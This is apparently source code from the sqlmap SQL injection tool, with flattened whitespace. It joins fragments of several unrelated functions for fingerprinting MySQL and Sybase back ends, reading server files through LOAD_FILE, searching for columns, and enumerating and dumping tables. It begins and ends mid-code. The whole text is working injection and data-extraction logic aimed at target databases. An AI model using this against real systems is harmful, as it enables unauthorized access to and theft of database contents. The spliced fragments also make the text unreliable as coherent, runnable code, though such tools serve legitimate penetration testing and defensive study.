kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] if inject.getValue("CHARSET(CURRENT_USER())") == "utf8": kb.dbmsVersion = ["= 4.1.0"] else: kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] elif inject.getValue("FOUND_ROWS()") == "0": kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] elif inject.getValue("CONNECTION_ID()"): kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"] elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")): kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"] else: kb.dbmsVersion = ["< 3.22.11"] return True else: warnMsg = "the back-end DMBS is not MySQL" logger.warn(warnMsg) return False
def readFile(self, rFile): logMsg = "fetching file: '%s'" % rFile logger.info(logMsg) return inject.getValue("LOAD_FILE('%s')" % rFile)
def searchColumn(self): rootQuery = queries[DBMS.MSSQL].search_column foundCols = {} dbs = {} whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(',') if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition2 colConsider, colCondParam = self.likeOrExact("column") if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) dbs[db] = {} for column in colList: column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl infoMsg = "searching column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(',') whereTblsQuery = " AND (" + " OR ".join( "%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: _ = conf.db.split(',') infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: infoMsgDb = " not in system database%s '%s'" % ( "s" if len(self.excludeDbsList) > 1 else "", ", ".join( db for db in self.excludeDbsList)) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: continue if conf.exclude and db in conf.exclude.split(','): continue if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, six.string_types): values = [values] for foundTbl in values: foundTbl = safeSQLIdentificatorNaming( unArrayizeValue(foundTbl), True) if foundTbl is None: continue if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == '1': conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[ db] and not isNoneValue( kb.data.cachedColumns[db] [foundTbl]): dbs[db][foundTbl].update( kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [foundTbl] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (column, db) logger.info("%s%s" % (infoMsg, infoMsgTbl)) query = rootQuery.blind.count query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[ db]: dbs[db][tbl].update( kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider)
def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} entries = {} dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind validColumnList = False validPivotValue = False if count is None: query = dumpNode.count % table query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) if hasattr(count, "isdigit") and count.isdigit(): count = int(count) if count == 0: infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) for column in colList: lengths[column] = len(column) entries[column] = [] return entries, lengths elif not isNumPosStrValue(count): return None for column in colList: lengths[column] = 0 entries[column] = BigArray() colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) colList.remove(_) colList.insert(0, _) validPivotValue = True break if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table logger.warn(warnMsg) if not validPivotValue: for column in colList: infoMsg = "fetching number of distinct " infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "") logger.info(infoMsg) query = dumpNode.count2 % (column, table) query = agent.whereQuery(query) value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(value): validColumnList = True if value == count: infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "") infoMsg += "for retrieving row data" logger.info(infoMsg) validPivotValue = True colList.remove(column) colList.insert(0, column) break if not validColumnList: errMsg = "all column name(s) provided are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" logger.warn(warnMsg) pivotValue = " " breakRetrieval = False def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) query = agent.whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) try: for i in xrange(count): if breakRetrieval: break for column in colList: value = _(column, pivotValue) if column == colList[0]: if isNoneValue(value): try: for pivotValue in filterNone((" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], six.unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, six.unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break except ValueError: pass if isNoneValue(value) or value == NULL: breakRetrieval = True break pivotValue = safechardecode(value) if conf.limitStart or conf.limitStop: if conf.limitStart and (i + 1) < conf.limitStart: warnMsg = "skipping first %d pivot " % conf.limitStart warnMsg += "point values" singleTimeWarnMessage(warnMsg) break elif conf.limitStop and (i + 1) > conf.limitStop: breakRetrieval = True break value = "" if isNoneValue(value) else unArrayizeValue(value) lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) errMsg += "will display partial output" logger.critical(errMsg) return entries, lengths
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue( inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression( "PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = "unable to retrieve the current " errMsg += "database name" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(',') else: colList = [] if conf.excludeCol: colList = [ _ for _ in colList if _ not in conf.excludeCol.split(',') ] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) else: return kb.data.cachedColumns tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is %s" % DBMS.ACCESS logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % ( conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl if dumpMode and colList: values = [(_, ) for _ in colList] else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) values = None if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable( PAYLOAD.TECHNIQUE.UNION): expression = query kb.dumpColumns = [] kb.rowXmlMode = True for column in extractRegexResult( r"SELECT (?P<result>.+?) FROM", query).split(','): kb.dumpColumns.append(randomStr().lower()) expression = expression.replace( column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1) values = unionUse(expression) kb.rowXmlMode = False kb.dumpColumns = None if values is None: values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, tbl, index) value = unArrayizeValue( inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value, )) index += 1 if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms( )].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = _.query % ( unsafeSQLIdentificatorNaming( conf.db.upper()), unsafeSQLIdentificatorNaming( tbl.upper()), unsafeSQLIdentificatorNaming( name.upper())) else: query = _.query % ( unsafeSQLIdentificatorNaming( conf.db), unsafeSQLIdentificatorNaming( tbl), unsafeSQLIdentificatorNaming( name)) comment = unArrayizeValue( inject.getValue(query, blind=False, time=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % ( comment, name) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms( ) warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: key = int(columnData[1]) if isinstance( columnData[1], basestring) and columnData[1].isdigit( ) else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get( key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: key -= 256 notNull = True columnData[1] = INFORMIX_TYPES.get( key, columnData[1]) if notNull: columnData[ 1] = "%s NOT NULL" % columnData[ 1] columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = unArrayizeValue( inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns table = {} columns = {} if dumpMode and colList: count = 0 for value in colList: columns[safeSQLIdentificatorNaming(value)] = None else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, tbl, index) value = unArrayizeValue( inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming( value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ( "number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace( "'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1] ).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, tbl) query += condQuery field = condition query = agent.limitQuery(index, query, field, field) column = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[ Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % ( unsafeSQLIdentificatorNaming( conf.db.upper()), unsafeSQLIdentificatorNaming( tbl.upper()), unsafeSQLIdentificatorNaming( column.upper())) else: query = _.query % ( unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % ( comment, column) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms( ) warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming( tbl.upper()), column, unsafeSQLIdentificatorNaming( conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % ( conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split( ".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % ( conf.db, conf.db, conf.db, conf.db, conf.db, tbl, column) colType = unArrayizeValue( inject.getValue(query, union=False, error=False)) key = int(colType) if isinstance( colType, basestring) and colType.isdigit() else colType if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(key, colType) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: key -= 256 notNull = True colType = INFORMIX_TYPES.get(key, colType) if notNull: colType = "%s NOT NULL" % colType column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList)) ) if len(tblList) == 1 else "any table " warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns
def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if bruteForce is None: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True else: return tables if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() dbs = [_ for _ in dbs if _ and _.strip()] for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) if bruteForce: resumeAvailable = False for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break if resumeAvailable and not conf.freshQueries: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) return kb.data.cachedTables message = "do you want to use common table existence check? %s " % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) infoMsg = "fetching tables for database" infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None if condition: if not Backend.isDbms(DBMS.SQLITE): query += " WHERE %s" % condition if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ( "s" if len(self.excludeDbsList) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) query += " IN (%s)" % ",".join( "'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) else: query += " IN (%s)" % ",".join( "'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = filter(None, arrayizeValue(values)) if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable( ) and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming( db) logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming( db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming( db) warnMsg += "appears to be empty" logger.warn(warnMsg) continue elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) continue tables = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, ( kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.query % ( kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index elif 